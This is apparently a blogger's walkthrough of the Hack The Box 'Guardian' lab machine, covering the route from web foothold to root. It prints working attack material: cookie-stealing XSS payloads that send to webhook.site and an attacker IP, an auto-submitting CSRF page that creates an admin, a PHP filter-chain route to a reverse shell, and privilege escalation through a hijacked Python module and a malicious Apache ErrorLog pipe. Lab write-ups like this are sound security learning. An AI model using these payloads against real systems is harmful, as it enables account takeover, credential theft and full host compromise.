HTB Guardian [HARD]

February 25, 2026
13 min read

let’s start solving this hard machine:
lets start with an nmap scan:

❯ nmap -sV -T4 -F 10.129.4.187
Starting Nmap 7.98 ( https://nmap.org ) at 2026-02-24 23:23 +0100
Nmap scan report for guardian.htb (10.129.4.187)
Host is up (0.47s latency).
Not shown: 98 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
80/tcp open http Apache httpd 2.4.52
Service Info: Host: _default_; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.78 seconds

okay so an ssh port and an http port;
let’s check the website: (guardian.htb):
alt text
alt text
let’s start exploring one by one:
by clicking on the Student Portal we’re taken to this page portal.guardian.htb :
alt text
let’stry some stuff out:
so there’s a forgot password page forgot.php, and there’s another ineteresting one, the help page: http://portal.guardian.htb/static/downloads/Guardian_University_Student_Portal_Guide.pdf, where we find the following pdf:
alt text\

so they give us the first time default password : GU1234, so the thing is that i dont really have any student ID, but, there might be something promising, at the first landing page, in the testimonials section, there’s this :
alt text
where you can see in their emails, these look like the student id template, so let’s try them out with the default password hoping that these student’s didn’t change their password:
after trying the 3 of them :
the second and the third failed, BUT .. the first one worked : GU0142023, and we are inside of the portal:
alt text
well let me tell, you, there’s a fuck ton of pages, i’ll prolly spend hours going through them, let’s document it for fun: it’s currently 11:38PM, ill see u if i find anything interesting XD.\

so in this assignment’s submission’s page there’s a place where we can upload our assignmenet’s:
alt text
ill keep it in mind just in case;
there’s also this chat’s page where you can choose different users and msg them, i chose the admin and im playing around :
alt text
but I realized something, take a look at the url :
http://portal.guardian.htb/student/chat.php?chat_users[0]=13&chat_users[1]=1
i’ve seen this pattern before in a machine where you could change the params inside of the url and you could maybe view other chats(I might or might need need to the admin’s token but let’s see), after looking at different chats, the users[0]=13 was consistent, while the other part changed, which makes me think that the users[1]=1 is the admin’s and the other is mine, so let’s maybe try to play around with the admin’s to see if we could possibly read the admin’s chats;
alt text
YES WE FUCKING CAN, look, so 0 is about the first person’s perspective, and the number is the identifier, so when i switched them , now i can see the same chat, but from the admin’s perspective, HELL YEAH, we prolly can see other chat;s now, we might be onto something !
alt text
bro, im going through different id’s and im finding stuff, damn !, well keep this in mind
i went through the id’s manually from 0 to 20, but found nothing, except for the id+2, as shown in the picture, so basically the admin told the user : jamil.enockson that his password for gitea is : DHsNnk3V503, idk what gitea is but let’s run a quick google search :
alt text
alright so it’s a source control platform like github and gitlab, let’s check where exactly to login with this password, let’s investigate the user jamil.enockson further, i’m probably going to get stuck here…
so i went through courses and i found that jamil teaches none there,i went through notices.php and jamil didn’t post anything there;
well lets take the last resort, let’s do the same thing but for jamil, let’s take a look at his messages:
so he has a couple of messages here and there but nothing really interesting,; ill go through every user’s messages right know naybe i could find anything:
nothing…\

hello from 12:34AM, i was helpless testing different subdomains. and well well well, gitea.guardian.htb was one that worked, if only i did a subdomain scan from the start i would’ve saved lots of time, but alright:
alt text
lets login with creds:jamil.enockson:DHsNnk3V503, the username says incorret, so maybe its jamil.enockson@gmail.com
alt text
yes IT IS !, let’s go through all of it;
we can find the source code for the whole platform !:
alt text
lets investigate it:
too much code, will comback later if i find anything ;);
I didn’t take too long, so I wasn’t able to find anything (there’s like millions of lines of code), but what I did is try to look for all the packages that they’re using and if they had any public vulnerabilities, there’s this in composer.json :

{
"require": {
"phpoffice/phpspreadsheet": "3.7.0",
"phpoffice/phpword": "^1.3"
}
}

well , yeah XD:
alt text
we got an XSS vulnerability on the library phpspreadsheet with the version 3.7.0, let’s learn abit about this library and where it’s used exactly (its about spread sheet,s and if you remember, there was a page, where you could upload your assignmenets and you can upload an xslx spreadsheet there, just saying… who knows …)
alt text
i was right apparently…, let’s try it out to maybe get the teacher’s cookie, so how this works is we’re going to create an xslx file, put the xss payload there, and wait for the teacher to open it, and we get his cookie like that, im going to use webhook for that:

<script>fetch('https://webhook.site/f2da39cf-7f39-4536-971f-8bfc10b7f54d/?c='+document.cookie)</script>

and we put this inside an xslx file and upload it as an assignement, and wait on the webhook and hope for something …
i tried it but it didnt work, but that was dumb of me since i didn’t fully read the description in the cve page : When generating the HTML from an xlsx file containing multiple sheets, a navigation menu is created. This menu includes the sheet names, which are not sanitized. As a result, an attacker can exploit this vulnerability to execute JavaScript code.
so we create a sheet, with the xss payload as it,s name, so that’s how…
alt text
oops, so i can’t do it this way, I asked ai for help and it gave me this alternative, which is shorter than 100 chars :

<script>location='//webhook.site/f2da39cf-7f39-4536-971f-8bfc10b7f54d/?c='+document.cookie</script>

and let’s export it as an xslx and upload it
alt text
and now we wait for any response in the webhook…
i waited for like 5 mins and got nothing, let’s try something else, maybe a python server:
like this :

<script>fetch('http://10.10.16.18:9999/log?c='+document.cookie)</script>

and there we are !
alt text
we got the teacher’s cookie, now well put it in devtools and get the dashboard as a teacher:
alt text
boom, we are now sammy.treat , lets look around and see if we find anything interesting:
alt text
i can see the assignmenets and submissions of the students, and i can change their grade:
alt text
I tried different stuff but it’s totally sanitized to only accept numbers between 1 and 100, so negative numbers, no chars, so it’s probably not the way, let’s look around for something else:\

on the notices page, well im a lecturer now, and i can create notices, lets try to create one:
alt text
alt text
so the admin (which is a bot in this case), will visit my link, maybe ill steal his cookies too,\

-3am update: I Tested every single thing you could think of, got nothing, I asked for a nudge, and they said inspect the page, (FFS how did i not think of that)\

well after inspecting the page, we can see this:
alt text
a csrf token, well i honeslty never tried to do csrf so i’ll sit and learn about it first:

In a successful CSRF attack, the attacker causes the victim user to carry out an action unintentionally. For example, this might be to change the email address on their account, to change their password, or to make a funds transfer. Depending on the nature of the action, the attacker might be able to gain full control over the user's account. If the compromised user has a privileged role within the application, then the attacker might be able to take full control of all the application's data and functionality.

I found this in portswigger academy, so maybe with this we can change the credentials of the admin ? and get into his dashboard ? let’s see how exactly can we do that:
well i was thinking on updating the admin’s creds, but that needs his cookies, how about creating a new user with admin privelege, But I don’t know the endpoint for it, but well we have the source code so let’s check if there’s a specific page for creating new users and alt textif it’s possible to have new users with admin privelege:
alt text
and yes there is, and it verifies if the csrf token is valid, which in this case, it will be a valid one (the lecturer’s), so now i need to make a website, that when visited will attempt to create a new user, I had ai generate me the html page:\

<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Exploit</title>
</head>
<body>
<h1>Exploit</h1>
<form id="Form" action="http://portal.guardian.htb/admin/createuser.php" method="POST">
<input type="hidden" name="username" value="bl0rph">
<input type="hidden" name="password" value="Admin123!">
<input type="hidden" name="full_name" value="New Admin">
<input type="hidden" name="email" value="admin@admin.com">
<input type="hidden" name="dob" value="2007-02-26">
<input type="hidden" name="address" value="street">
<input type="hidden" name="user_role" value="admin">
<input type="hidden" name="csrf_token" value="d3b6e35fa0d8240655230c9ec8869dca">
</form>
<script>
document.getElementById('Form').submit();
</script>
</body>
</html>

so now we serve this html page and make the admin visit it: we save this page to an html file and serve it with python server:
alt text
and we got a request:
alt text
the admin visited it, so now we hope he created this new user with admin priveleges, let’s try to login with it: bl0rph:Admin123!
done, we are admin!
alt text
let’s look for stuff:
so what’s new is 2 pages, the settings page and the reports page, let’s check the settings page :
alt text
well nothing too interesting, lets check reports:
alt text
let’s check each of these, we might find something, well they are graphs, nothing interesting again, what am i supposed to do now??
-4AM update, (after ai scanned some source code XD), as u can see these are files :
alt text
but they its sanitized so u can only access the 4 pages already determined in the source code :

if (!preg_match('/^(.*(enrollment|academic|financial|system)\.php)$/', $report)) {
die("<h2>Access denied. Invalid file 🚫</h2>");
}

so we need to bypass this:
so what this does, is only accept files ending in enrollment|academic|financial|system .php, but only “ending” , because of the ”*”, so we can do path traversal and read other files,

after being stuck for a while, i was nudged by a friend to use filter-chains, what this does is get you ece without uploading a file if you control entirely the parameter passed to a require or an include in php, so let’s make it openup a reverse shell:
lets test it first:

python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]); ?>'

and now after the chain is generated, we add &cmd=… at the end (which was rev shell code), and there we are, we got a connection:
alt text
lets try to get the user flag now:
ok let’s try to take the common route :\

www-data@guardian:~$ cat /etc/passwd | grep -v nologin | grep -v false
root:x:0:0:root:/root:/bin/bash
sync:x:4:65534:sync:/bin:/bin/sync
jamil:x:1000:1000:guardian:/home/jamil:/bin/bash
mark:x:1001:1001:ls,,,:/home/mark:/bin/bash
gitea:x:116:123:Git Version Control,,,:/home/gitea:/bin/bash
sammy:x:1002:1003::/home/sammy:/bin/bash

alr now since the site was running mysql lets try to get in and look for these 3 users (jamil, mark, sammy) and their password hashes, (if they even exist), and hope that they used the same password…
well we don’t have the password, but i remember when i was reading the files looking for createuser.php, I did stumble upn a file containing configs or something for mysql, let’s find it again (in gitea):
yep, config.php:

<?php
return [
'db' => [
'dsn' => 'mysql:host=localhost;dbname=guardiandb',
'username' => 'root',
'password' => 'Gu4rd14n_un1_1s_th3_b3st',
'options' => []
],
'salt' => '8Sb)tM1vs1SS'
];

we got everything, dbname, password, salt let’s get their hashes:

mysql -u root -p'Gu4rd14n_un1_1s_th3_b3st' guardiandb

so lets read the tables:
alt text
we got the hashes, these are sha256 hashes and we also have the salt, crackable..
after going through them in crackstation, i was only able to crack these two users:\

admin:fakebake000
jamil.enockson:copperhouse56

so maybe jamil is our only way in, lets try to ssh in as jamil and hope he used the same password for ssh:
alt text
user flag done !
now lets do some priv esc:

jamil@guardian:~$ sudo -l
Matching Defaults entries for jamil on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User jamil may run the following commands on guardian:
(mark) NOPASSWD: /opt/scripts/utilities/utilities.py

lets check utilities.py:

jamil@guardian:~$ cat /opt/scripts/utilities/utilities.py
#!/usr/bin/env python3
import argparse
import getpass
import sys
from utils import db
from utils import attachments
from utils import logs
from utils import status
def main():
parser = argparse.ArgumentParser(description="University Server Utilities Toolkit")
parser.add_argument("action", choices=[
"backup-db",
"zip-attachments",
"collect-logs",
"system-status"
], help="Action to perform")
args = parser.parse_args()
user = getpass.getuser()
if args.action == "backup-db":
if user != "mark":
print("Access denied.")
sys.exit(1)
db.backup_database()
elif args.action == "zip-attachments":
if user != "mark":
print("Access denied.")
sys.exit(1)
attachments.zip_attachments()
elif args.action == "collect-logs":
if user != "mark":
print("Access denied.")
sys.exit(1)
logs.collect_logs()
elif args.action == "system-status":
status.system_status()
else:
print("Unknown action.")
if __name__ == "__main__":
main()

maybe we could hijack the libraries, lets check utils:

jamil@guardian:~$ ls /opt/scripts/utilities
output utilities.py utils
jamil@guardian:~$ ls /opt/scripts/utilities/utils
attachments.py db.py logs.py status.py
jamil@guardian:~$ ls -la /opt/scripts/utilities/utils
total 24
drwxrwsr-x 2 root root 4096 Jul 10 2025 .
drwxr-sr-x 4 root admins 4096 Jul 10 2025 ..
-rw-r----- 1 root admins 287 Apr 19 2025 attachments.py
-rw-r----- 1 root admins 246 Jul 10 2025 db.py
-rw-r----- 1 root admins 226 Apr 19 2025 logs.py
-rwxrwx--- 1 mark admins 253 Apr 26 2025 status.py

so we can overwrite and hijack status.py, but only run it as mark, so lets do it to get shell as mark, maybe we could find a way using him:
and well overwrite system_status to open shell:

cat > status.py << 'EOF'
import os
def system_status():
os.system("/bin/bash")
EOF

and then :

sudo -u mark /opt/scripts/utilities/utilities.py system-status

and there we are :

jamil@guardian:/opt/scripts/utilities/utils$ sudo -u mark /opt/scripts/utilities/utilities.py system-status
mark@guardian:/opt/scripts/utilities/utils$ whoami
mark

let’s just hope we can get root now:\

mark@guardian:~$ sudo -l
Matching Defaults entries for mark on guardian:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
User mark may run the following commands on guardian:
(ALL) NOPASSWD: /usr/local/bin/safeapache2ctl

ok so its something to do with safeapache2ctl:

mark@guardian:~$ sudo /usr/local/bin/safeapache2ctl
Usage: /usr/local/bin/safeapache2ctl -f /home/mark/confs/file.conf

alright i’ve seen this before, well prolly load it with an evil config, but let’s see first:\

LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so\nErrorLog "|/bin/bash -c '\''cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'\''"\n

we save this as evil.conf and lets run it, but it kept saying : “Action ‘-f /home/mark/confs/evil.conf’ failed.”
after some ai debugging : here’s the updated evil.conf:

ServerName localhost
LoadModule mpm_event_module /usr/lib/apache2/modules/mod_mpm_event.so
Listen 127.0.0.1:8080
ErrorLog "|/bin/bash -c 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash'"

and …
alt text
got the root flag
alt text
My first hard machine,

for this machine, I relied a bit more on ai and nudges since i was getting stuck alot, because ai can read big codebases and spot stuff, nevertheless I learned alot from this machine, and it was really fun, took me 2 days:
what i learned from this machine is the following:

  • csrf and how it works
  • how to bypass php regex with filter chains

and some more stuff, really fun machine .